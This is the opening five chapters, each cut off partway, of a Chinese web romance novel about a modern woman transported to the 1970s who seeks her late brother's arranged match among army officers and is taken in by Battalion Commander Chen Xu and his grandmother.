《穿七零嫁给对象他哥》 1. 第 1 章 《穿七零嫁给对象他哥》全本免费阅读 乡间小道上的路不平,有些地方坑坑洼洼,驴车的车轱辘压过去时会使劲颠一下,坐在驴车后面的一群人“哎哟”一声,有个年龄大点的妇人推搡了下坐在驴车前面的男人,没好气道:“你慢点啊,老娘的屁股差点让你颠裂了!” 赶驴车的中年男人用鞭子抽了下驴屁股,扭头接上妇人的话:“你那屁股本来就是两瓣的。” 这话一出,驴车上的人顿时哄笑一片。 结了婚的女人嘴里偶尔会蹦出几句荤话,不痛不痒,也不害臊,不像没嫁人的小姑娘,听到这话脸上涌上血色,羞的恨不得把脑袋埋到膝盖里去。 驴车最后面就坐着两个没结婚的小姑娘,左边的女人梳着两个光溜溜的小辫子,穿着红黑条纹的衬衫和棕红色长裤,衣服上打了许多补丁,一只手放在腿上,一只手揪着小辫子,脸蛋红扑扑的,她扭头看向旁边的女人,见她微微晃荡着两条腿,望着前方的路发呆,这症状从她坐上驴车后就开始了。 “同志,你在想什么呢?” 她的声音不大,很快被驴车上几个妇人聊天的笑声压下去,旁边的女同志听见了,失神的眼睛逐渐恢复光彩,鹅蛋大的脸蛋白皙好看,眉毛微弯,抿着嘴时,隐约可见脸颊两边的酒窝痕迹。 这位女同志长的很漂亮,不论是家属院还是隔着一条河的杏家村都没有这一号人,她应该不是这边的人。 难道是来走亲戚的? 见女同志没说话,她又小声的问了一句:“同志,你是来走亲戚的吗?” 温南眼睫上下垂了垂,这才从刚才的失神中彻底回神,她扭头看向说话的女人,抿嘴笑了下:“嗯,我是来走亲戚的。” 小姑娘看着温南脸上的笑容,觉得她长得真看好,皮肤也白,身上的衣服干净好看,一个补丁都没有,她爹娘一定很疼她,于是她小声问:“我叫赵小麦,你叫什么?” “我叫温南。” 温南从褐黄色的布包里取出最后一片桃酥掰开递给赵小麦,赵小麦错愕的看着眼前的半片桃酥,桃酥上浅浅的油香味冲进鼻子里,她馋的咽了咽口水,从小到大她都没吃过桃酥,她娘一年到头买上两三次桃酥都给弟弟吃,她只能闻一闻味道解解馋,没想到有一天会有半片桃酥送到她嘴边。 温南笑道:“尝一尝,我小姨给我买的,特别好吃。” 赵小麦犹豫了一下才伸手接过桃酥,放在嘴边先小口添一下,舌尖尝到一点微甜油香的味道,又咬了一小口含在嘴里慢慢融化,温南看她把半片桃酥捧在手里跟宝贝似的品尝,眉眼间都是满足的口感和喜欢,对方察觉到她的目光,扭头不好意思的看她:“我没吃过桃酥,就见我弟弟吃过。” 温南笑道:“好吃吗?” 赵小麦高兴地点头:“好吃。”她又咬了一口桃酥,问道:“你亲戚叫什么?说不定我还认识。” 温南等的就是她这句话。 她说:“我亲戚姓陈,在部队当兵,好像是一团的兵,你认识吗?” 赵小麦愣了一下,咽下嘴里的桃酥,上下打量着温南,看的温南心里七上八下的,不知道她这眼神是什么意思,赵小麦似乎也觉得自己这么明晃晃的打量别人不太好,不好意思的抿了下嘴,说道:“你说的亲戚是不是陈营长?他就在一团,是一团的二营长,和我家就隔两家,他和我爹在一个团部。” 温暖表面平静,内心突突的跳。 没想到一团还真有个姓陈的,看来她没找错,不过听赵小麦的意思,那位陈营长住在家属院,难不成有随军家属?是他家里人,还是他媳妇?要是他媳妇的话,那就说明她找错人了。 于是拐着弯的问赵小麦:“你能给我说说这位陈营长家里的情况吗?我看看是不是我要找的亲戚,我小姨好久没来过他们家了,她现在身子不好不能走远路,就让我代她来看看,我可不能找错人了。” 赵小麦听她这么一说,心中了然,便说起陈家的情况。 陈营长全名叫陈叙,是三年前调到这边部队的,他还有个弟弟叫陈州,两兄弟差两岁,调过来的时候就带了个上了年纪的奶奶,赵小麦还是从她娘那听来的,她娘说陈营长的娘在生陈州的时候难产没了,他爹咬着牙把两个儿子养大,让他们参军当兵,老头子地里刨食,累死累活的挣工分,把身子累垮了,早早就没了。 而且,陈家两兄弟都是单身汉,去陈家说亲的人不少,但都被陈家两兄弟婉拒了。 温南有点摸不准,原主她哥给她介绍的人到底是老大陈叙还是老二陈州? 没错,温南是穿过来的。 说起来原主的身世也挺可怜的,在原主八岁那年正赶上三年饥荒,国家粮食紧缺,大队上干活的都是成年汉子,干了一天活分到手的只有三个窝窝头,家里有个九岁的原主和十一岁的温国,父母舍不得吃就把窝窝头留给两个孩子,有时候两口子经常上山挖野菜填肚子,最后原主的母亲还是死在了最后一年的饥荒,死的时候身上没有几两肉,就一副皮包骨。 原主的父亲在供温国当兵后,没两年也走了,原主这些年一直在她小姨家生活,家里人虽然对原主的到来不满,但因为温国每个月给小姨家十块钱的生活费所以没说什么,直到上个月温国意外牺牲后断了将来的生活费,也赶上小姨的大儿子要结婚用钱,姨夫不愿意再养闲人,为这事天天跟小姨吵架。 刚好这时候温国的战友给原主小姨所在的公社打了个电话,接电话的是小姨的小儿子,他听话也听不全乎,传话也传的没头没尾,只告诉原主说她哥生前给她介绍了个对象,是南阳市丰林县部队当兵的,那人姓陈,好像是在一团的,叫什么名字他想半天没想起来。 原主不想让小姨在家里为难,就带着这么个不全乎的消息一个人坐火车赶到南阳市丰林县,结果在下火车的时候被一群逃窜的盲流撞倒,太阳穴磕在台阶角上把人磕没了,而她正好穿过来了。 见赵小麦吃完半片桃酥,在舔手指上的屑子,温南把她的一半递给赵小麦,赵小麦虽然眼馋,但还是摇头说不用了,温南塞到她手里,笑道:“你吃吧。” 赵小麦捏着桃酥的手指也不敢用力,怕捏碎桃酥,她心里暖呼呼的,眼眶也有点酸涩。 从小爹娘没舍得给她吃的桃酥,今天温南让她吃到了。 温南又问:“小麦,你知道陈州在 2. 第 2 章 《穿七零嫁给对象他哥》全本免费阅读 男人身形高大,穿着一身军绿色军装,露在外面的手臂和脖颈皮肤是健康的小麦色,手臂上的肌肉垒块匀称好看,对方黢黑的目光在她身上探究的扫了一眼,温南几乎瞬间就猜到了他是陈家的大儿子,陈叙。 她的心一下子跳到了嗓子眼,没想到有一天她会穿到七零年代千里迢迢来找从没见过面的结婚对象,还是别人撮合介绍的。 越想越离谱。 更离谱的是她还不知道她的结婚对象到底是陈家老大还是老二? 她该怎么开口? ——你好,我是你对象? ——你好,我是你弟的对象? “同志?” 陈叙眉峰微皱,落在温南身上的目光又多了几分锐利。 温南回过神,决定先赌一把,她往前走了一步,手指尴尬的扣紧挎着的布包,难以启齿的说:“陈营长,不知道你记不记得我,我叫温南,我哥叫温国,他是西平市部队的士兵,我哥跟你介绍过我,你还答应过我哥,说只要我愿意嫁给你,你就愿意跟我结婚。” 陈叙眉峰拧成了川字,看着眼前口不择言的女同志,在屋里锅铲炒菜的声音停下时,沉声道:“我们出去说!” 温南看男人的反应不太对劲,心里咯噔一下。 难不成温国说的那个人不是陈叙,而是已经调职离开的陈州? 她快步跟着男人走出院门,两人站在需要三四个成年男人才能抱住的大树后面,温南心里越来越没谱,听着大路上来往的士兵和军嫂们的说话声,再抬头看向对面的陈营长。 男人身高腿长,肩膀宽阔,温南抬头看他得仰着脖子,从气势上就落了一大截。 陈叙说:“同志,你找错人了,我不认识温国,也不认识你,更别提答应别人娶他妹妹这种荒唐的事情。”他顿了下,偏了下头看向不远处的院门,他奶奶走出院子站在外面望着这边,陈叙利用大树遮住身形,继续说:“我不是你要找的人,你再想想你要找的人是谁。” 男人说完转身就要走。 温南连忙叫住他:“陈营长,你是不是还有个弟弟叫陈州?我哥说的人要不是你,那就是你弟弟陈州。” 陈叙有些意外她知道弟弟的名字,不过还是转身看她:“我弟没去过西平市部队,更不可能认识你哥,你找错人了。” 他听见不远处的奶奶问隔壁赵营长我家大孙子怎么还没回来,眼前的女同志还想跟着他不放,陈叙失了耐性,不想再跟这个莫名其妙冒出来说是他对象的女人纠缠,语气开始冷硬:“同志,别来我家了,再来我就让保卫科的人请你出去。” 男人说完从大树后面走出去,朝远处的老太太喊了一声:“奶奶,我回来了!” 他的声音不复刚才那么冰冷无情,带了点磁性的温柔。 温南咬住下唇,侧了下身子探出脑袋看向陈叙走到院门口,带着他奶奶进了家门。 她收回视线背靠在树杆上,男人的话不停地在脑子里徘徊。 他不认识原主的大哥,陈州也没去过西平市部队,所以,陈家两兄弟是真不认识温国?小姨的小儿子是不是传递错信息了?温国介绍的对象,或许压根就不在南阳市?毕竟温国在西平市,陈家在南阳市,怎么想都联系不到一块去。 可是她都已经找到这里了,要是再回去的话,原主的小姨在家里的日子肯定更难过,姨夫指不定要在家里闹成什么样子。 温南使劲拽着肩上挎着的布包,手指用力揪着布包上的带子,翻来覆去的想着接下来的路该怎么走。 . 小院的门半开着,院里放着小方木桌,陈奶奶端着碗筷从屋里出来放在桌上,看了眼大孙子蹲在井边洗手洗脸,笑着问:“小叙,你今天怎么回来这么晚?” 陈叙起身拿下绷绳上挂着的毛巾擦去头发上的水珠,想到刚才闯到家里莫名其妙的女人,随便找了个借口:“刚才有点事耽误了,奶奶,你中午做的什么饭?闻着还挺香。” 说完把毛巾挂在绷绳上,走到小方桌前,提了下腿上的裤子坐在矮小的凳子上,看着白菜粉条炖肉,脸上挂了些笑:“奶奶怎么舍得做肉了?” 陈奶奶叹了一声:“小孙子不听话要去那么远的地方受苦,我可不能再苦了我的大孙子。” 老人家年龄大了,尤其越老就越希望小辈们在跟前待着,陈家人都没了,就剩下这两个宝贝孙子了,陈奶奶一个都不想亏待,想把两个孙子都照顾好,她越活越不中用,说不定哪天就撒手人寰了。 她递给陈叙一个玉米饼,陈叙接过后咬了一大口,瞥了眼奶奶忧愁的神色,安抚道:“东华市再苦也苦不过我爹娘那一辈,他在那边待个两三年就调回来了,逢过年的时候有探亲假也能回来,奶奶就别操心他了。” 陈奶奶擦了擦眼角的泪花,用筷子指了指盘子里的肉:“知道了,你多吃点,每天训练那么多,多费体力啊。” 下午还有拉练,陈叙吃过饭没多待,跟赵营长还有隔壁的杜团长一道走了,赵营长经过陈家小院时往里面瞧了眼,就连旁边的杜团长也看了眼,见院里只有陈奶奶在收拾碗筷,杜团长问:“陈营长,你家亲戚呢?我媳妇今天一进门就说你家来亲戚了,咋没见着人呢?” 一旁的赵营长跟着说:“是啊,我听小麦说是你奶奶家的亲戚,还是个年轻小姑娘,咋没看见人呢?” 陈叙:…… 他倒是没想到那个女人前脚冒出来,后脚周围的邻居都知道了。 他说:“她应该是找错人了,我奶奶家已经没亲戚了。” 赵营长说:“说不定是真找错人了,要是家里还有亲戚,咋可能三年了也没来个亲戚走动。” 在路上又碰上二团的团长和营长,五六个人一道去部队,从家属区到部队要经过一个三岔路口,一条路口通往家属区,一条路是通往杏花村的石桥,另一条路是去往部队,远远的,陈叙看见石桥旁边蹲着一个女人,穿着白底黄碎花的衬衫,袖子挽上去半截,露出一截细瘦的手臂。 她抱着膝盖,下巴搁在膝上遥遥眺望着这边。 这人正是午 3. 第 3 章 《穿七零嫁给对象他哥》全本免费阅读 见陈营长真动怒了,温南紧张的抓着布包带子,坚定道:“我说的都是真的,没有骗人。” 她对上男人那双黑沉冰冷的目光,继续说:“我哥在西平市胡阳县部队,上个月出任务的时候牺牲了,是我哥的战友在收拾我哥的遗物发现他留下的一封信,这才打电话告诉我这件事,陈营长要是不信就亲自给我哥的部队打电话问问不就知道了吗?” 她刚才也想过了,编再多的谎言和瞎话都不如实事求是的说,说不定陈营长真打电话过去,还能帮她问到原主大哥给她介绍的对象到底是哪个部队的人,叫什么名字。 陈叙在听到她大哥牺牲的事,神色顿了一瞬,方才严肃冰冷的语气缓和了一些:“你哥是哪个团哪个营的?” 温南道:“他在第四团,是七营部的三连长,叫温国,出生在运闽市临门县朝阳公社三大队溪水村。” 陈叙沉默了片刻,朝温南抬了抬下巴示意她走:“你去今天中午的树后面等我,我打完电话过来找你。” 有了他这句话,温南悬着的心终于落地了。 她抿嘴笑道:“好。” 说完转身小跑着去了家属区。 陈叙看着温南渐渐远去的身影,转身往部队走。 她能准确说出她已逝大哥在部队的身份,还能信誓旦旦的让他打电话对峙查问,这事估摸着八九不离十,不过再怎么八九不离十那也扯不到陈州身上。 陈州打小就跟着他,来了南阳市部队后也没外出过,不可能认识西平部队的温国。 . 夜里黑漆漆的,好在每家每户的小院里都亮着老式的暖黄灯泡,能看到一点些微的亮光。 现在是四月中旬,到了晚上还是有点冷,温南取下背在肩上的布背包,从里面取了一件藏蓝色的短款外套穿在身上,她看了眼家属区一排排的泥土房子和每家每户的院门,听着忽远忽近的蟋蟀声,再一次感受到了视频里播放夜晚的乡下幽静安宁的氛围感。 不远处传来脚步声,温南探出头瞥了眼。 两个女人并肩走在一起,夜里有点黑看不太清楚,只能瞧见她们的大致轮廓,一个留着齐肩短发,一个头发盘在脑后,走的近了温南才看清楚,齐肩短发的女人挽着盘头发女人的胳膊,两人脸色都不大好看,盘头发的女人摸了摸平平的肚子:“也不知道行不行,要是不行我就完了,以后在婆家怎么抬得起头来?以我婆婆的臭脾气,说不定还会让老康跟我离婚。” 齐肩短发的女人不耐烦的说:“行不行我又不知道,你也别在我跟前老提这事,我嫌膈应。” 两人边说边走,没一会就走远了。 温南躲在树后面抬头数着天上的星星,数来数去的眼睛都花了,也不知道等了多久,路那头终于传来沉稳矫健的脚步声,不用听,一猜就是陈营长,温南扭头看去,就见陈营长大步跑过来,男人可能跑了一路,额头鬓角都是汗,他偏头用肩膀的袖子擦去眼皮上的汗,硬朗的胸膛快速起伏了几下。 等人跑到跟前,温南迫切的问:“陈营长,你问的怎么样了?” 陈叙问:“你有介绍信吗?” 男人跑了一路,说话的声音依旧平稳有力,都不带猛喘气的。 温南点头:“有!” 她从布包里翻出介绍信递给陈叙,陈叙接过介绍信,从兜里取出火柴盒划亮,借着火光快速看了眼上面的字和印章,地址和温国的户籍地都对的上,名字也是对的,他给温国所在的部队打电话问过了,跟温国一个宿舍的战友有三个,一个战友外出练兵,具体什么时候回来也不清楚,另外两个前几天调职到新疆,昨天早上坐火车出发。 那边路途遥远,通讯也不方便,要想联系上他们有点难。 他也给温南家里打了电话,接电话的是朝阳公社的队长,他从队长那里了解到温国和温南兄妹两的情况,队长去叫温南的小姨过来接电话,但跟他说话的是温南的姨夫。 想到温南姨夫说的那些不堪入耳的话,陈叙紧了紧眉头,看了眼对面个子不高,又瘦又小的温南,把介绍信折叠好递给她:“同志,你要找的人不是我,也不是我弟,我给你哥部队打电话问过了,你哥的战友有的被调职,有的外出训练,具体是谁给你打的电话还得等那边调查完给我回信,你家里面我也打电话问过了,你小姨确定你哥给你介绍的就是我们部队的人。” 看着温南逐渐苍白的脸色,陈叙沉默了一会,说道:“同志,要不这样吧,你先暂时住在我家,我在部队也帮你找找人,等找到了你再搬走。” 男人说完后,脸色平静的看着她,等着她回应。 周围安静的只有徐徐风声和蛙声鸣叫。 温南愣了愣神。 合着陈家两兄弟一个也没沾? 她垂下眼抿着唇,心里跟翻花绳一样翻个不停,觉得陈营长提出的法子对她来说是最有利的,对方好心收留她,帮她找人,她总不能再厚着脸皮撒谎死赖着非说他就是温国介绍的对象。 温南点了点头:“那就谢谢陈营长了。” 然后又摸了摸自己的兜,脸色有些窘迫:“陈营长,我身上的钱不多,粮票也没多少,在你家吃住的这些天我都会记着,等将来我挣了钱会还给你。” 陈叙没说还钱的事,低声交代:“你住进我家后,对外照旧说是我奶奶那边的亲戚。” 温南怔了一下,抬头正好撞上男人漆黑的目光,心里猜到她在赵小麦那说的话传到陈营长耳朵里了,于是尴尬的点了点头:“知道了。” 陈叙带着温南回到小院,院门虚掩着,男人推开门先让温南进去,他后面进来把院门插上,转头看了眼亮着灯的屋子,对温南说:“你先在这等会,我把你的情况跟我奶奶说一声。” 温南低声道:“嗯。” 等陈叙进了老太太屋里,于是便打量起小院里的房子。 从东墙头到西墙头盖着一排房子,统共有四间屋子,挨着厨房的那间房亮着暖黄的灯光,是陈营长他奶奶的屋子,至于后面那两间屋子,一间是陈营长的,一间就是陈家老二陈州的,只是不知道陈营长住在哪一间? ‘咕咕’的鸡叫声偶尔响起,温南看了眼小院角落里的鸡圈。 这个点鸡都上架了,她刚想去鸡圈那看看,就听见屋里传来老太太气呼呼的声音,听着像是在骂谁。 没一会房门从里面打开,先出来的是老太太,头发挽起来盘在脑后,白头发有不少,穿着黑色的对襟褂子和长裤,袖子挽起来一小截,看到院里的温南,先想到下午张小娥来家里告诉她,说她有个亲戚过来了,老太太当时还纳闷着,她跟老家那边没怎么联系过,那亲戚从哪冒出来的? 刚才小叙回来跟她说了温南的事,她才明白是怎么回事。 陈奶奶笑道:“小叙说你叫温南?” 看着老太太和蔼可亲的模样,温南眉眼一弯,甜甜一笑:“嗯,奶奶,我叫温南,温暖的温,南方的南。” 陈奶奶朝她招招手,带她去厨房,厨房不大,挨着墙角用砖头盘了个锅台,靠着窗户这边放着一个柜子,柜子旁边是个菜板,菜板跟前立着一个大水缸,水缸旁边还放着两个水桶,陈奶奶舀了几瓢水倒进锅里,笑呵呵的跟温南说:“你的事小叙都跟我说了。” 陈奶奶盖上锅盖,想到小叙刚才说的事,心里又把温南的姨夫臭骂了一顿。 那人真不是个东西! 那些年温南的大哥给他们家月月寄生活费,到头来就连抚恤金也给他们家了,这人良心都被狗吃了,再怎么说那也是他外甥女,咋就能说得出要是温南敢回去,就把她嫁到深山老林的屁话! 深山老林是什么地方?那里头大多都是娶不上媳妇的人家,家里有好几个兄弟的就娶一个媳妇,女娃娃到了那边就得被逼着跟兔子一样一窝一窝的生孩子。 温南很有眼力劲的坐在灶台前烧火。 灶台里还有火星子,她又往里面添了点干柴。 陈奶奶扭头看向温南,橘红色的火苗在她脸蛋上明明灭灭的摇曳,小姑娘长的特别好看,眉毛细弯,双眼皮大眼睛,笑起来还有两个小酒窝,要是真被她姨夫嫁到深山老林里,一辈子可就毁了。 陈奶奶从柜子里拿擀面杖,给温南吃了一记定心丸:“你以后就把这当成自个儿家,有啥事跟我和小叙说,小叙在部队里也帮你打听的问问都有哪些姓陈的人跟你哥认识,咱们慢慢找你对象,不着急,家属区的人要是问起你,你就说是我远嫁妹妹的孙女,在外面管我叫姨奶就行。” 温南心里一暖,看着陈奶奶有些佝偻的背影,又想到新世纪里,她那个成天对她冷着脸的亲奶奶,起身去旁边的盆里洗了个手,走过去接过陈奶奶手里的擀面杖:“姨奶,我来擀面条。” 陈奶奶怔了下:“你会擀吗?” 温南笑道:“会擀,在家里一直是我做饭,我什么都会做。” 她这话说的是她自己,也说的是原主。 在新世纪,她爸妈在她小时候就离婚了,两人很快又各自成家结婚,有了属于他们自己的孩子,两人都觉得她是个拖油瓶,谁都不愿意养她,她从小就跟在爷爷奶奶身边,爷爷奶奶重男轻女,喜欢大爸家的两个孙子,对她是有口饭吃就行,所以也让她养成了从小自力更生的本事。< 4.第 4 章 《穿七零嫁给对象他哥》全本免费阅读 “来了。” 温南走过去打开屋门,看到站在屋门外的陈叙,男人身高腿长,肩膀宽阔,而门框矮小,他站在门外几乎堵住了照进来的月光,显的屋里面更暗了,男人背对着月亮,温南也看不清他的神色,只看见手里拿着老式的一块白布料和榔头。 她疑惑的眨了眨眼:“陈……大哥,怎么了?” 陈叙没想到她就穿了个小背心出来,脖颈和手臂的皮肤雪白细腻,背心下隐隐漏出一截纤细瘦弱的小腰。 盈盈可握,在幽黑的夜里很是扎眼。 刚才从窗前走过去无意中瞥见的一抹春光惹的他到现在都觉的别扭不自在。 陈叙转过身,低沉的嗓音不自觉带了几分严厉训斥:“回屋把衣服穿好,以后在家里也别这么穿衣服,被人看见了会惹闲言碎语,传出去对你我都不好。” 温南:…… 男人严肃的语气让她以为自己犯了多大的错误似的。 她低头看了眼身上的老奶奶背心,遮的严严实实,跟现代的小背心比起来,保守的不能再保守了。 不过温南也没敢多说话,她关好门从箱子里拿了件干净的白底印花衬衫穿上,这才打开房门,看着男人挺直的脊背,低声道:“陈营长,我穿好了。” 陈叙转过身看见她穿好衣服,暗暗松了口气:“我给你屋里挂个窗帘。” 之前陈州住这屋子,他们两个大老爷们也没那么讲究,现在家里又多了个女人,尤其到了晚上亮着灯,从外面能看到屋里面,做什么都不方便。 温南瞥了眼老式的六格窗户,往旁边站了点给陈叙让路。 见男人得低着头避开低矮的门顶进来,她眉眼一弯,笑道:“谢谢大哥。” 陈叙在部队跟大老爷们待习惯了,也没怎么跟像温南这么这样的女同志接触过,看着温南时不时的笑,听着脆生生的一口一个大哥,陈叙浑身跟长了刺一样,哪哪都不自在,他把布放在箱子上,背对着温南:“不用跟我客气。” 说完拿起榔头在窗户上钉了两个钉子。 他个子高,随便一伸手就能搞定,温南觉得要是她来钉,得嘿咻嘿咻的搬板凳踩凳子。 陈叙钉好钉子,用铁丝穿过窗帘的顶部固定在钉子上,完美的遮住了整扇窗户。 钉好窗帘陈叙就走了,一秒也没多待。 温南把水泼到菜地旁,又盛了半盆水进来擦洗身子,现在有了窗帘,她也就把灯拉亮了,四月份的晚上透着凉意,温南打了个冷战钻到被窝里,被子有股淡淡的皂角香,枕头里面装着稻壳,床上铺了一床褥子,硬邦邦的睡着硌得慌,虽然比不上新世纪的软床,但总比睡在外面的强。 温南千里迢迢奔波了一路,这一晚睡的特别香,以至于第二天早上陈奶奶敲门的时候她才醒。 “南南,吃饭了。” 温南道:“姨奶,我起了。” 她穿好鞋子先把窗帘拉开,没成想一拉开窗帘就看见了院里的陈营长,男人拿着斧头弯腰劈柴,斧头下去的瞬间,手臂肌肉也紧绷着,似乎察觉到她的视线,陈叙抬头朝她这边看了眼,温南立刻扬起一抹笑脸,打开窗户笑眯眯的打招呼:“大哥,早上好。” 陈叙:…… 他朝温南点了下头:“早饭好了,吃饭了。” 温南笑道:“知道了。” 她走到院里看见陈叙脚边已经摞了一堆劈好的柴火,不禁尴尬的抿了抿唇,没想到劈柴这么大的动静都没吵醒她,她睡的是有多死? 温南拿着脸盆去井边压了点井水,大早上的用刚从井里打出来的水洗脸,又冰又冷,洗个脸都觉的手指头冷的麻麻的,边上的亮光暗下,一抹军绿的颜色闯入眼角的余光,扭头就见陈叙蹲在她旁边压了多半盆水,捧着水刷刷的就往脸上脖子胳膊上洗,冰冷的水濡湿了男人的衣领和袖口,他也没当回事,顺带又洗了个头。 温南:…… 她问:“你不冷吗?” 陈叙起身从绷绳上拿过毛巾擦了擦头,低头看了眼温南瑟缩的手一点一点的碰凉水:…… 他说:“厨房暖瓶里有热水,你冷了就掺点热水,我用凉水洗习惯了。” 温南:…… 好家伙,当兵的体格都这么厉害吗? 冬天光着上身滚雪地,夏天光着上身在太阳下烤火,温南觉得要是换做她,都能把她这条命折腾没了。 她被井水冰的不行,还是跑到厨房拿了暖瓶掺了点热水,温温的热水从指尖传递,顿时觉得舒服多了。 陈奶奶早上做的炒茄子,蒸的玉米饼,熬的稀饭,陈叙饭量大,吃了四五个大的玉米饼,干了满满一碗稀饭,他起身的时候温南下意识瞥了眼他肚子。 平坦紧实,劲瘦有力,一点多余的赘肉都没有。 陈叙吃过饭就跟隔壁的杜团长去部队了,温南把碗筷收起来,前脚刚走进厨房,后脚家里就来了个军嫂,正是昨天有过一面之缘的团长媳妇,张小娥。 她进来也看见了端着碗进厨房的温南,搬了个板凳坐到在井边洗衣服的陈奶奶旁边,“咦”了一声“候婶子,那姑娘咋又来你家了?昨天陈营长不是说她找错人了吗?” 要说家属区的八卦消息谁最灵通,就是张小娥了,在家属区出了名的大喇叭,谁家有个啥事,啥动静的,传到她耳朵里,不到半天功夫整个家属区的人都知道了,虽然她是团长媳妇,但军嫂们还是避着她,不太想跟她走的太近,就怕万一哪天说漏嘴把自己家的丑事说出来被张小娥听到,隔天就传遍家属区了。 陈奶奶搓了搓衣服,说道:“那是我那远嫁妹妹的孙女,好多年都没联系了,小叙也没见过她,就以为南南找错人了。” “哦,这样啊。” 张小娥转头从厨房窗户上看了眼在洗锅碗的温南,八卦的心跟刺挠的一样:“她爹妈不管她吗?就让这么个小姑娘自己跑过来了?” 陈奶奶知道张小娥是啥人,也正好想借着她这张嘴把温南的事传出去。 她起身把陈叙的衣服晾在绷绳上,跟张小娥说:“她爹妈在饥荒那年就没了,一直跟着她奶奶生活,南南从小就没见过我,也没见过她两个表哥,我妹妹就让她过来转转,在我这先住着。” 张小娥耳朵听着,心里却琢磨着。 说好听了是先住在这,说难听了,肯定是让候婶子给她孙女在这边找个当兵的对象,以后就落户到这边了,陈叙和陈州是她表哥,两人都在部队里 5.第 5 章 《穿七零嫁给对象他哥》全本免费阅读 陈叙道:“之前部队的战友托我找的,具体的我也不清楚。” 赵营长也没多问,又闻了闻馋人的菜香味,馋的恨不得吞了舌头,他赶紧跑回家,家里的饭也做好了,闻着没什么香味,和陈营长家的差远了,赵小麦端着两碗红薯面条放在桌上,有一碗是她弟弟赵小东的,面条上有个荷包蛋,全家只有他弟弟才能吃上鸡蛋。 赵小东就坐在板凳上,等面条一放在桌上就开始吃,烫的刺溜嘴也没停。 赵小东今年八岁,是赵营长和媳妇花凤珍好不容易怀上的宝贝儿子,在家里就是祖宗。 赵营长揉了揉赵小东的脑袋:“慢点吃,又没人跟你抢,瞧你那德行。” 赵小东才不管那么多,他今天跟朋友玩了一上午,都快饿死了。 花凤珍和赵小麦坐在桌上,花凤珍搅了搅面条,问赵营长:“陈营长的表妹,就昨天刚来的那姑娘,是不是想在这边找个当兵的对象嫁了,不准备走了?” 昨天中午陈营长还说没那门亲戚,这才过了一晚上全家属区都知道他有个表妹过来了,这事不用想都知道是杜团长的媳妇传出去的,赵营长呼噜了一大口面,咬了口大蒜说:“我哪知道,我闲的没事还问陈营长你表妹干啥来的?还有啊”他挑了挑面:“你下次炒菜多放几滴油,你看看这碗里一点油星子都不见。” 花凤珍顿时心虚的低头吃面,慢吞吞的说:“家里就剩下二两油票了,你发工资还得下个月,一顿吃完了咱们吃啥去?” 赵营长一愣,抬头瞪她:“你是不是又把咱家油票给你娘家拿过去了?!” 花凤珍很小声的说:“我娘还给咱们拿了几个鸡蛋呢。” 赵营长:…… 他咋就娶了这么个败家娘们,家里有个啥都恨不得给娘家一股脑塞过去! 他气道:“你娘拿了几个鸡蛋?” 花凤珍说:“十个。” 赵营长:…… 赵小麦坐在边上安静的吃面,其实她昨天就是给姥姥送油票去了,姥姥收到油票就给她拿了五个鸡蛋。 压根不是十个。 杜团长家这边也闻到了香喷喷的味道,两家离得近,风一吹,大半的香味都飘过来了。 杜团长咬了一口玉米饼,吃了口干巴巴没滋没味的炒白菜,耸了耸鼻子,被那香味馋的直咽口水,坐在他旁边的小儿子杜建明也使劲耸了耸鼻子,他今天干了大半天农活,累的胳膊腿都抬不起来,再闻闻那香喷喷的饭菜,又看看眼前没啥油水、一点也不香的饭菜,忽然间就馋的厉害。 他用脚碰了下杜团长的脚跟,小声说:“爹,陈奶奶做饭啥时候这么香了?我闻着也没肉味啊,咋就那么香呢?” 杜团长咬了口玉米饼:“我哪知道。” 张小娥端着碗从厨房出来,也闻到了香味,她耸了耸鼻子,放下碗就想趴墙头看看陈奶奶做的啥饭那么香,还没走两步就被杜团长叫回来了:“你给我坐下!” 冷不丁一嗓子吓了张小娥一跳,她没好气的瞪了杜团长一眼,提裤子坐在板凳上,喝了口稀饭后,抬头看杜团长:“老杜,我觉得这顿饭不是候婶子做的,会不会是陈营长他表妹做的?” 杜团长咬了一大口玉米饼,口齿不清的说:“你别老操心人家的事。” 不过要真是那姑娘做的饭,他还挺羡慕陈叙那小子的,以后这小子可算是有口福了。 . 陈家小院里,小方桌上摆着金黄色的辣椒青菜饼,陈叙面前放着一大碗玉米面疙瘩汤,饭香味浓香扑鼻。 这是陈叙从小到大吃过最香的一次饭菜,就算跟食堂比起来也不逊色。 他拿了个辣椒青菜饼咬了一口,淡淡的辛辣和青菜的鲜香融合在一起,配着玉米面的筋道,很勾人的食欲。 陈叙这顿饭比平常吃的都多,别说他了,陈奶奶都多吃了一点,她看着脸蛋白皙的温南,更加觉得温南的姨夫太不是个东西了,这么好的外甥女,又能干又会做饭,还收了她哥哥那么多钱,到头来这么对自己外甥女,也不怕遭报应。 陈叙吃过午饭就去团里了,温南主动包揽了洗锅碗的活计,但是被陈奶奶阻拦了,正好家里来了个人,是赵营长家的女儿赵小麦,她背着大框子,双手抓着背篓带子探头看向陈家小院,瞧见站在屋门口的温南时,笑道:“温南。” 陈奶奶从窗户那看了眼,好奇道:“你们认识?” 温南说:“昨天我们两坐一趟驴车回来的。” 陈奶奶闻言,笑道:“行了,你也别守在厨房了,跟小麦出去转转,也熟悉下咱们的家属院。” 温南也没再坚持洗锅碗,跟赵小麦一块出去了。 这是温南第一次在白天光明正大的观察家属区,每家每户的小院都挨着,中间就隔着一道墙,路上有来往的军嫂和孩子,热热闹闹的,大家见了面都能停下来说上几句话,赵小麦转头看了眼身边的温南,看她穿的衣服花样挺好看的,皮肤也白白的,再看看自己身上打着补丁的衣服裤子和手上的茧子,顿时觉得挺羡慕温南的。 刚才在饭桌上听爹娘在说陈营长表妹的事。 张婶子给她娘说,温南的爹娘早早就没了,她一直跟着奶奶生活,想来她奶奶一定很疼她,不然怎么会给她穿这么好的衣服,皮肤也这么白,不知道的还以为她是城里人呢。 “你背着框子干什么?” 温南一直跟着赵小麦走,见她往杏花村的方向去,就问了一嘴。 赵小麦回过神,笑道:“我去割猪笼草,杏花村公社有个养猪场,没事就给猪割点猪笼草。”她不好意思的笑了下:“我娘让我多挣点钱给自己攒嫁妆,家里穷,她给我补贴不了多少东西。” 她看了眼赵小麦,小姑娘面黄肌瘦,比她还矮一个头,看着也没多大,但还是问道:“小麦,你多大了?” 赵小麦说:“十八了,我娘说后半年就给我介绍个对象,让我越早嫁人越好。” 她低下头没再继续说了。 她知道娘是嫌她在家里浪费粮食,她不是男孩,不能给赵家传宗接代,把她嫁人了还能收点彩礼钱,用她娘的话说,就是用她换点钱,毕竟把她养这么大也吃了不少粮食。 温南皱了下眉。 十八了?! 她还以为赵小麦就十四五岁。 